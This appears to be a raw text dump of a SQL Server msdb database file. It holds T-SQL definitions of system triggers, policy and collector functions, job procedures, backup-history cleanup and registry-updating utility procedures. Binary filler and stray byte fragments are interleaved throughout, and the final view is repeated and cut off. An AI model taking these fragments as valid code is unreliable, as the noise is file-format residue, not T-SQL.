!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`L
<cMqlu/0P 8
CREATE TRIGGER trig_sysmail_account
ON msdb.dbo.sysmail_account
FOR UPDATE
AS
BEGIN
   SET NOCOUNT ON  

   IF (TRIGGER_NESTLEVEL( OBJECT_ID('dbo.trig_sysmail_account'), 'AFTER' , 'DML' ) <= 1) 
   BEGIN  
      UPDATE msdb.dbo.sysmail_account 
      SET last_mod_datetime = getdate(),last_mod_user = suser_sname() 
      FROM sysmail_account a, inserted i
      WHERE a.account_id = i.account_id
   END
END
0;P D8Shiw&j0+P 8
CREATE TRIGGER trig_sysmail_profileaccount
ON msdb.dbo.sysmail_profileaccount
FOR UPDATE
AS
BEGIN
   SET NOCOUNT ON  

   IF (TRIGGER_NESTLEVEL( OBJECT_ID('dbo.trig_sysmail_profileaccount'), 'AFTER' , 'DML' ) <= 1) 
   BEGIN  
      UPDATE msdb.dbo.sysmail_profileaccount 
      SET last_mod_datetime = getdate(),last_mod_user = suser_sname() 
      FROM sysmail_profileaccount p, inserted i
      WHERE p.profile_id = i.profile_id and p.account_id = i.account_id
   END
END
0U0Q P8
?hk>lC80P 8CREATE FUNCTION [dbo].[fn_syscollector_get_execution_details] 
(
     @log_id                BIGINT
)
RETURNS TABLE
AS
RETURN
(
    SELECT TOP (100) PERCENT
        l.source,
        l.event,
        l.message,
        l.starttime AS start_time,
        l.endtime AS finish_time,
        l.datacode,
        l.databytes
    FROM sysssislog l
    JOIN dbo.syscollector_execution_log e ON (e.package_execution_id = l.executionid)
    WHERE e.log_id = @log_id
    ORDER BY l.starttime
)
0[P 8
CREATE FUNCTION [dbo].[syspolicy_fn_eventing_filter] (@target_set_id INT)
RETURNS INT
AS
BEGIN
    DECLARE @cnt int, @level sysname, @condition_id int, @ret int

    SELECT @cnt = count(*) FROM msdb.dbo.syspolicy_target_set_levels 
        WHERE target_set_id = @target_set_id AND condition_id IS NOT NULL
    IF @cnt = 0 
        RETURN 1
    ELSE IF @cnt > 1
        RETURN 0
    ELSE
        BEGIN
        SELECT @level = level_name, @condition_id = condition_id FROM msdb.dbo.syspolicy_target_set_levels 
            WHERE target_set_id = @target_set_id AND condition_id IS NOT NULL
        IF @level != 'Database'
            RETURN 0

		IF @condition_id IS NOT NULL
			BEGIN
			IF EXISTS (SELECT * FROM msdb.dbo.syspolicy_conditions  
				WHERE condition_id = @condition_id AND   
				(1 = CONVERT(xml, expression).exist('//FunctionType/text()[.="ExecuteSql"]') OR
				1 = CONVERT(xml, expression).exist('//FunctionType/text()[.="ExecuteWql"]') ) )
				RETURN 0
			END

        SELECT @ret = is_name_condition 
        FROM msdb.dbo.syspolicy_conditions    
        WHERE condition_id = @condition_id
        END

    RETURN @ret
END
0	PQ 8
CREATE FUNCTION [dbo].[syspolicy_fn_filter_complete] (@target_set_id INT)
RETURNS INT
AS
BEGIN
    DECLARE @target_set_skeleton nvarchar(max), @skeleton nvarchar(max), @level sysname, @dummy nvarchar(max), @ret int, 
            @i int, @p int
    
    SELECT @target_set_skeleton = type_skeleton, @i=0, @p=CHARINDEX('/',type_skeleton)
        FROM msdb.dbo.syspolicy_target_sets 
        WHERE target_set_id = @target_set_id

    IF @@ROWCOUNT != 1 RETURN 0
    
    IF @target_set_skeleton = 'Server' RETURN 1    

    -- Count the number of levels in the skeleton past the root
    WHILE (@p <> 0)
        BEGIN
            SET @i = @i + 1
        SET @p = CHARINDEX('/', @target_set_skeleton, @p + 1)
        END

    -- Compare the number of levels in the skeleton with those in TSL
    IF (@i = (SELECT COUNT(*) FROM msdb.dbo.syspolicy_target_set_levels 
             WHERE target_set_id = @target_set_id))
        RETURN 1

    RETURN 0
END
0&P 8CREATE PROCEDURE [dbo].[sp_sysutility_mi_add_ucp_registration]
    @ucp_instance_name SYSNAME,
    @mdw_database_name SYSNAME
WITH EXECUTE AS OWNER
AS
BEGIN
   
   DECLARE @null_column SYSNAME = NULL
   SET NOCOUNT ON;
   SET XACT_ABORT ON;

   IF (@ucp_instance_name IS NULL)
     SET @null_column = '@ucp_instance_name'
   ELSE IF (@mdw_database_name IS NULL)
     SET @null_column = '@mdw_database_name'

   IF @null_column IS NOT NULL
   BEGIN
     RAISERROR(14043, -1, -1, @null_column, 'sp_sysutility_mi_add_ucp_registration')
     RETURN(1)
   END
    
   BEGIN TRANSACTION;
    
     IF EXISTS (SELECT * FROM [msdb].[dbo].[sysutility_mi_configuration_internal])
    BEGIN
      UPDATE [msdb].[dbo].[sysutility_mi_configuration_internal]
      SET
         ucp_instance_name          = @ucp_instance_name,
         mdw_database_name          = @mdw_database_name
    END
    ELSE
    BEGIN
         INSERT INTO [msdb].[dbo].[sysutility_mi_configuration_internal] (ucp_instance_name, mdw_database_name)
         VALUES (@ucp_instance_name, @mdw_database_name);
    END          
    
   COMMIT TRANSACTION;

   ---- Add the MiUcpName registry key values.
   ---- If the value is already present this XP will update them.
   EXEC master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                        N'SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\Utility',
                                        N'MiUcpName',
                                        N'REG_SZ',
                                        @ucp_instance_name
                                         
END
0Q 8CREATE PROCEDURE [dbo].[sp_sysutility_mi_remove_ucp_registration]
WITH EXECUTE AS OWNER
AS
BEGIN
   SET NOCOUNT ON;
   SET XACT_ABORT ON;
 
   BEGIN TRANSACTION;
    
    IF EXISTS (SELECT * FROM [msdb].[dbo].[sysutility_mi_configuration_internal])
    BEGIN
      UPDATE [msdb].[dbo].[sysutility_mi_configuration_internal]
      SET
         ucp_instance_name          = NULL,
         mdw_database_name          = NULL
    END
    ELSE
    BEGIN
         INSERT INTO [msdb].[dbo].[sysutility_mi_configuration_internal] (ucp_instance_name, mdw_database_name)
         VALUES (NULL, NULL);
    END     

   COMMIT TRANSACTION;

   ---- If the above part fails it will not execute the following XPs.
   ---- The following XP calls are not transactional, so they are put outside
   ---- the transaction.
   ---- Remove the MiUcpName registry key if it is present
   DECLARE @mi_ucp_name nvarchar(1024)
   EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                       N'SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\Utility',
                                       N'MiUcpName',
                                       @mi_ucp_name OUTPUT

   IF @mi_ucp_name IS NOT NULL
   BEGIN
       EXEC master.dbo.xp_instance_regdeletevalue N'HKEY_LOCAL_MACHINE',
                                                  N'SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\Utility',
                                                  N'MiUcpName'
   END

   ---- Remove the registry key if this instance is NOT a UCP.
   ---- If this instance is a UCP we cannot remove the key entirely as
   ---- the version number is still stored under the key.
   IF (msdb.dbo.fn_sysutility_get_is_instance_ucp() = 0)
   BEGIN
       EXEC master.dbo.xp_instance_regdeletekey N'HKEY_LOCAL_MACHINE',
                                                  N'SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\Utility'
   END
   
END
0P %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&
@	Zym)`<dDQ	EQ0sBR k8
CREATE TRIGGER trig_backupset_delete ON msdb.dbo.backupset FOR DELETE AS
BEGIN
  DELETE FROM msdb.dbo.logmarkhistory from deleted
  WHERE (msdb.dbo.logmarkhistory.database_name = deleted.database_name)
    AND (msdb.dbo.logmarkhistory.lsn >= deleted.first_lsn)
    AND (msdb.dbo.logmarkhistory.lsn < deleted.last_lsn)
END
0LR 8
CREATE TRIGGER trig_sysmail_servertype
ON msdb.dbo.sysmail_servertype
FOR UPDATE
AS
BEGIN
   SET NOCOUNT ON  

   IF (TRIGGER_NESTLEVEL( OBJECT_ID('dbo.trig_sysmail_servertype'), 'AFTER' , 'DML' ) <= 1) 
   BEGIN  
      UPDATE msdb.dbo.sysmail_servertype 
      SET last_mod_datetime = getdate(),last_mod_user = suser_sname() 
      FROM sysmail_servertype s, inserted i
      where s.servertype = i.servertype
   END
END
0VS 8
CREATE PROCEDURE sp_help_jobcount 
  @schedule_name       sysname  = NULL, -- Specify if @schedule_id is null
  @schedule_id         INT      = NULL  -- Specify if @schedule_name is null
AS
BEGIN
  SET NOCOUNT ON

  DECLARE @retval   INT

  -- Check that we can uniquely identify the schedule. This only returns a schedule that is visible to this user
  EXECUTE @retval = msdb.dbo.sp_verify_schedule_identifiers @name_of_name_parameter = '@schedule_name',
                                                            @name_of_id_parameter   = '@schedule_id',
                                                            @schedule_name          = @schedule_name    OUTPUT,
                                                            @schedule_id            = @schedule_id      OUTPUT,
                                                            @owner_sid              = NULL,
                                                            @orig_server_id         = NULL
  IF (@retval <> 0)
    RETURN(1) -- Failure 


  SELECT COUNT(*) AS JobCount
  FROM msdb.dbo.sysjobschedules
  WHERE (schedule_id = @schedule_id)


  RETURN (0) -- 0 means success
END
0`MS +8(getdate())0pS 8
CREATE TRIGGER trig_sysmail_server
ON msdb.dbo.sysmail_server
FOR UPDATE
AS
BEGIN
   SET NOCOUNT ON  

   IF (TRIGGER_NESTLEVEL( OBJECT_ID('dbo.trig_sysmail_server'), 'AFTER' , 'DML' ) <= 1) 
   BEGIN  
      UPDATE msdb.dbo.sysmail_server 
      SET last_mod_datetime = getdate(),last_mod_user = suser_sname() 
      FROM sysmail_server s, inserted i
      WHERE s.account_id = i.account_id and s.servertype = i.servertype
   END
END
0\mS 
8CREATE PROCEDURE [dbo].[sp_syscollector_delete_collection_set_internal]
    @collection_set_id      int,
    @name                   sysname,
    @collection_job_id      uniqueidentifier,
    @upload_job_id          uniqueidentifier,
    @collection_mode        smallint
AS
BEGIN
    DECLARE @TranCounter int
    SET @TranCounter = @@TRANCOUNT
    IF (@TranCounter > 0)
        SAVE TRANSACTION tran_delete_collection_set
    ELSE
        BEGIN TRANSACTION
    
    BEGIN TRY
        -- clean log before deleting collection set
        DECLARE @log_id bigint
        SET @log_id = (SELECT TOP(1) log_id  FROM dbo.syscollector_execution_log WHERE collection_set_id = @collection_set_id)
        WHILE (@log_id IS NOT NULL)
        BEGIN
            EXEC dbo.sp_syscollector_delete_execution_log_tree @log_id = @log_id
            SET @log_id = (SELECT TOP(1) log_id  FROM dbo.syscollector_execution_log WHERE collection_set_id = @collection_set_id)
        END

        DECLARE @schedule_id    int
        SELECT @schedule_id = schedule_id
        FROM dbo.syscollector_collection_sets cs JOIN sysschedules_localserver_view sv
        ON (cs.schedule_uid = sv.schedule_uid)
        WHERE collection_set_id = @collection_set_id

        DELETE [dbo].[syscollector_collection_sets_internal]
        WHERE collection_set_id = @collection_set_id

        EXEC dbo.sp_syscollector_delete_jobs 
            @collection_job_id        = @collection_job_id,
            @upload_job_id            = @upload_job_id,
            @schedule_id            = @schedule_id,
            @collection_mode        = @collection_mode

        IF (@TranCounter = 0)
            COMMIT TRANSACTION
        RETURN (0)
    END TRY
    BEGIN CATCH
        IF (@TranCounter = 0 OR XACT_STATE() = -1)
            ROLLBACK TRANSACTION
        ELSE IF (XACT_STATE() = 1)
            ROLLBACK TRANSACTION tran_delete_collection_set

        DECLARE @ErrorMessage   NVARCHAR(4000);
        DECLARE @ErrorSeverity  INT;
        DECLARE @ErrorState     INT;
        DECLARE @ErrorNumber    INT;
        DECLARE @ErrorLine      INT;
        DECLARE @ErrorProcedure NVARCHAR(200);
        SELECT @ErrorLine = ERROR_LINE(),
               @ErrorSeverity = ERROR_SEVERITY(),
               @ErrorState = ERROR_STATE(),
               @ErrorNumber = ERROR_NUMBER(),
               @ErrorMessage = ERROR_MESSAGE(),
               @ErrorProcedure = ISNULL(ERROR_PROCEDURE(), '-');

        RAISERROR (14684, @ErrorSeverity, -1 , @ErrorNumber, @ErrorSeverity, @ErrorState, @ErrorProcedure, @ErrorLine, @ErrorMessage);
        
        RETURN (1)    
    END CATCH
END
0XR8S 8
CREATE TRIGGER [dbo].[syspolicy_update_target_set_level_trigger] ON [dbo].[syspolicy_target_set_levels_internal]
FOR UPDATE
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN;
	END

    DECLARE @update_notifications INT
    DECLARE @update_ddl_trigger   INT

    SET @update_notifications = 0
    SET @update_ddl_trigger = 0

    IF UPDATE(condition_id)
    BEGIN
		DECLARE @level sysname
		SET @level = NULL
		
		-- Don't allow setting non-db levels for runtime policies
        SELECT TOP 1 @level = i.level_name
			FROM inserted i
			JOIN dbo.syspolicy_target_sets s ON (i.target_set_id = s.target_set_id)
			JOIN msdb.dbo.syspolicy_object_sets os ON s.object_set_id = os.object_set_id
			JOIN msdb.dbo.syspolicy_policies p ON (os.object_set_id = p.object_set_id)    
			WHERE 1 = dbo.syspolicy_fn_filter_complete (i.target_set_id) AND
				((p.execution_mode & 3) > 0 AND 0 = dbo.syspolicy_fn_eventing_filter (i.target_set_id))
		IF @level IS NOT NULL
        BEGIN
            RAISERROR(34016, -1, -1, @level) 
            ROLLBACK TRANSACTION
        END
    END

    SELECT @update_notifications = SUM (p.execution_mode & 2), @update_ddl_trigger = SUM (p.execution_mode & 1)
        FROM inserted i
        JOIN dbo.syspolicy_target_sets s ON (i.target_set_id = s.target_set_id)
        JOIN msdb.dbo.syspolicy_object_sets os ON s.object_set_id = os.object_set_id
        JOIN msdb.dbo.syspolicy_policies p ON (os.object_set_id = p.object_set_id)    
        WHERE 1 = dbo.syspolicy_fn_filter_complete (i.target_set_id) AND
            ((p.execution_mode & 3) > 0 AND p.is_enabled = 1 AND 1 = dbo.syspolicy_fn_eventing_filter (i.target_set_id))

    IF (@update_ddl_trigger > 0)
        EXEC sys.sp_syspolicy_update_ddl_trigger 

    IF    (@update_notifications > 0)    
        EXEC sys.sp_syspolicy_update_event_notification 

END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!m
^`\f<we1X0W~V h
8CREATE   PROCEDURE sp_delete_backuphistory
  @oldest_date datetime
AS
BEGIN
  SET NOCOUNT ON

  DECLARE @backup_set_id TABLE      (backup_set_id INT)
  DECLARE @media_set_id TABLE       (media_set_id INT)
  DECLARE @restore_history_id TABLE (restore_history_id INT)

  INSERT INTO @backup_set_id (backup_set_id)
  SELECT DISTINCT backup_set_id
  FROM msdb.dbo.backupset
  WHERE backup_finish_date < @oldest_date

  INSERT INTO @media_set_id (media_set_id)
  SELECT DISTINCT media_set_id
  FROM msdb.dbo.backupset
  WHERE backup_finish_date < @oldest_date

  INSERT INTO @restore_history_id (restore_history_id)
  SELECT DISTINCT restore_history_id
  FROM msdb.dbo.restorehistory
  WHERE backup_set_id IN (SELECT backup_set_id
                          FROM @backup_set_id)

  BEGIN TRANSACTION

  DELETE FROM msdb.dbo.backupfile
  WHERE backup_set_id IN (SELECT backup_set_id
                          FROM @backup_set_id)
  IF (@@error > 0)
    GOTO Quit

  DELETE FROM msdb.dbo.backupfilegroup
  WHERE backup_set_id IN (SELECT backup_set_id
                          FROM @backup_set_id)
  IF (@@error > 0)
    GOTO Quit

  DELETE FROM msdb.dbo.restorefile
  WHERE restore_history_id IN (SELECT restore_history_id
                               FROM @restore_history_id)
  IF (@@error > 0)
    GOTO Quit

  DELETE FROM msdb.dbo.restorefilegroup
  WHERE restore_history_id IN (SELECT restore_history_id
                               FROM @restore_history_id)
  IF (@@error > 0)
    GOTO Quit

  DELETE FROM msdb.dbo.restorehistory
  WHERE restore_history_id IN (SELECT restore_history_id
                               FROM @restore_history_id)
  IF (@@error > 0)
    GOTO Quit

  DELETE FROM msdb.dbo.backupset
  WHERE backup_set_id IN (SELECT backup_set_id
                          FROM @backup_set_id)
  IF (@@error > 0)
    GOTO Quit

  DELETE msdb.dbo.backupmediafamily
  FROM msdb.dbo.backupmediafamily bmf
  WHERE bmf.media_set_id IN (SELECT media_set_id
                             FROM @media_set_id)
    AND ((SELECT COUNT(*)
          FROM msdb.dbo.backupset
          WHERE media_set_id = bmf.media_set_id) = 0)
  IF (@@error > 0)
    GOTO Quit

  DELETE msdb.dbo.backupmediaset
  FROM msdb.dbo.backupmediaset bms
  WHERE bms.media_set_id IN (SELECT media_set_id
                             FROM @media_set_id)
    AND ((SELECT COUNT(*)
          FROM msdb.dbo.backupset
          WHERE media_set_id = bms.media_set_id) = 0)
  IF (@@error > 0)
    GOTO Quit

  COMMIT TRANSACTION
  RETURN

Quit:
  ROLLBACK TRANSACTION

END
0ݳV 8
CREATE TRIGGER trig_sysmail_attachments
ON msdb.dbo.sysmail_attachments
FOR UPDATE
AS
BEGIN
   SET NOCOUNT ON  

   IF (TRIGGER_NESTLEVEL( OBJECT_ID('dbo.trig_sysmail_attachments'), 'AFTER' , 'DML' ) <= 1) 
   BEGIN  
      UPDATE msdb.dbo.sysmail_attachments 
      SET last_mod_date = GETDATE(), last_mod_user = SUSER_SNAME() 
      FROM sysmail_attachments a, inserted i
      WHERE a.attachment_id = i.attachment_id
   END
END
0V Q8CREATE PROCEDURE sp_remove_job_from_targets
  @job_id               UNIQUEIDENTIFIER = NULL,   -- Must provide either this or job_name
  @job_name             sysname          = NULL,   -- Must provide either this or job_id
  @target_server_groups NVARCHAR(1024)   = NULL,   -- A comma-separated list of target server groups
  @target_servers       NVARCHAR(1024)   = NULL    -- A comma-separated list of target servers
AS
BEGIN
  DECLARE @retval INT

  SET NOCOUNT ON

  EXECUTE @retval = sp_apply_job_to_targets @job_id,
                                            @job_name,
                                            @target_server_groups,
                                            @target_servers,
                                           'REMOVE'
  RETURN(@retval) -- 0 means success
END
0W (8CREATE VIEW sysschedules_localserver_view
AS
SELECT sched.schedule_id,
       sched.schedule_uid,
       sched.originating_server_id,
       sched.name,
       sched.owner_sid,
       sched.enabled,
       sched.freq_type,
       sched.freq_interval,
       sched.freq_subday_type,
       sched.freq_subday_interval,
       sched.freq_relative_interval,
       sched.freq_recurrence_factor,
       sched.active_start_date,
       sched.active_end_date,
       sched.active_start_time,
       sched.active_end_time,
       sched.date_created,
       sched.date_modified,
       sched.version_number,
       svr.originating_server,
       svr.master_server
FROM msdb.dbo.sysschedules as sched
    JOIN msdb.dbo.sysoriginatingservers_view as svr
    ON sched.originating_server_id = svr.originating_server_id
WHERE (svr.master_server = 0)
  AND ( (sched.owner_sid = SUSER_SID())
        OR (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) = 1)
      OR (ISNULL(IS_MEMBER(N'SQLAgentReaderRole'), 0) = 1)
      )
0W 8
CREATE TRIGGER trig_sysmail_log
ON msdb.dbo.sysmail_log
FOR UPDATE
AS
BEGIN
   SET NOCOUNT ON  

   IF (TRIGGER_NESTLEVEL( OBJECT_ID('dbo.trig_sysmail_log'), 'AFTER' , 'DML' ) <= 1) 
   BEGIN  
      UPDATE msdb.dbo.sysmail_log 
      SET last_mod_date = GETDATE(), last_mod_user = SUSER_SNAME() 
      FROM sysmail_log l, inserted i
      WHERE l.log_id = i.log_id
   END
END
0W@ 8CREATE PROCEDURE sp_get_job_alerts
  @job_id   UNIQUEIDENTIFIER = NULL,
  @job_name sysname          = NULL
AS
BEGIN
  DECLARE @retval INT

  EXECUTE @retval = sp_verify_job_identifiers '@job_name',
                                              '@job_id',
                                               @job_name OUTPUT,
                                               @job_id   OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure

  SELECT id,
         name,
         enabled,
       type = CASE ISNULL(performance_condition, '!')
         WHEN '!' THEN 1              -- SQL Server event alert
         ELSE CASE event_id
            WHEN 8 THEN 3          -- WMI event alert
            ELSE 2                    -- SQL Server performance condition alert
         END
       END
  FROM msdb.dbo.sysalerts
  WHERE (job_id = @job_id)

  RETURN(0) -- Success
END
0%X@ 8
CREATE FUNCTION dbo.ConvertToInt(@string nvarchar(255), @maxValue int, @defValue int) RETURNS int
AS
BEGIN
    DECLARE @value bigint   
    SET @value = @defValue 
    SET @string = LTRIM(RTRIM(@string))

    -- Check if there is any character other than 0-9 in the string.
    IF ((@string IS NOT NULL AND @string <> N'') AND (@string NOT LIKE '%[^0-9]%'))
    BEGIN
        --INT's have a max of 10 digits
        IF(LEN(@string) <= 10)
        BEGIN
        -- Try converting to bigint. Return default if the value is bigger than @maxValue
        SET @value = CONVERT(bigint, @string)
        IF(@value > CONVERT(bigint, @maxValue))
            SET @value = @defValue
        END
    END

    RETURN CONVERT(int, @value)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!f!
`e<fM^tM0W (8CREATE VIEW sysschedules_localserver_view
AS
SELECT sched.schedule_id,
       sched.schedule_uid,
       sched.originating_server_id,
       sched.name,
       sched.owner_sid,
       sched.enabled,
       sched.freq_type,
       sched.freq_interval,
       sched.freq_subday_type,
       sched.freq_subday_interval,
       sched.freq_relative_interval,
       sched.freq_recurrence_factor,
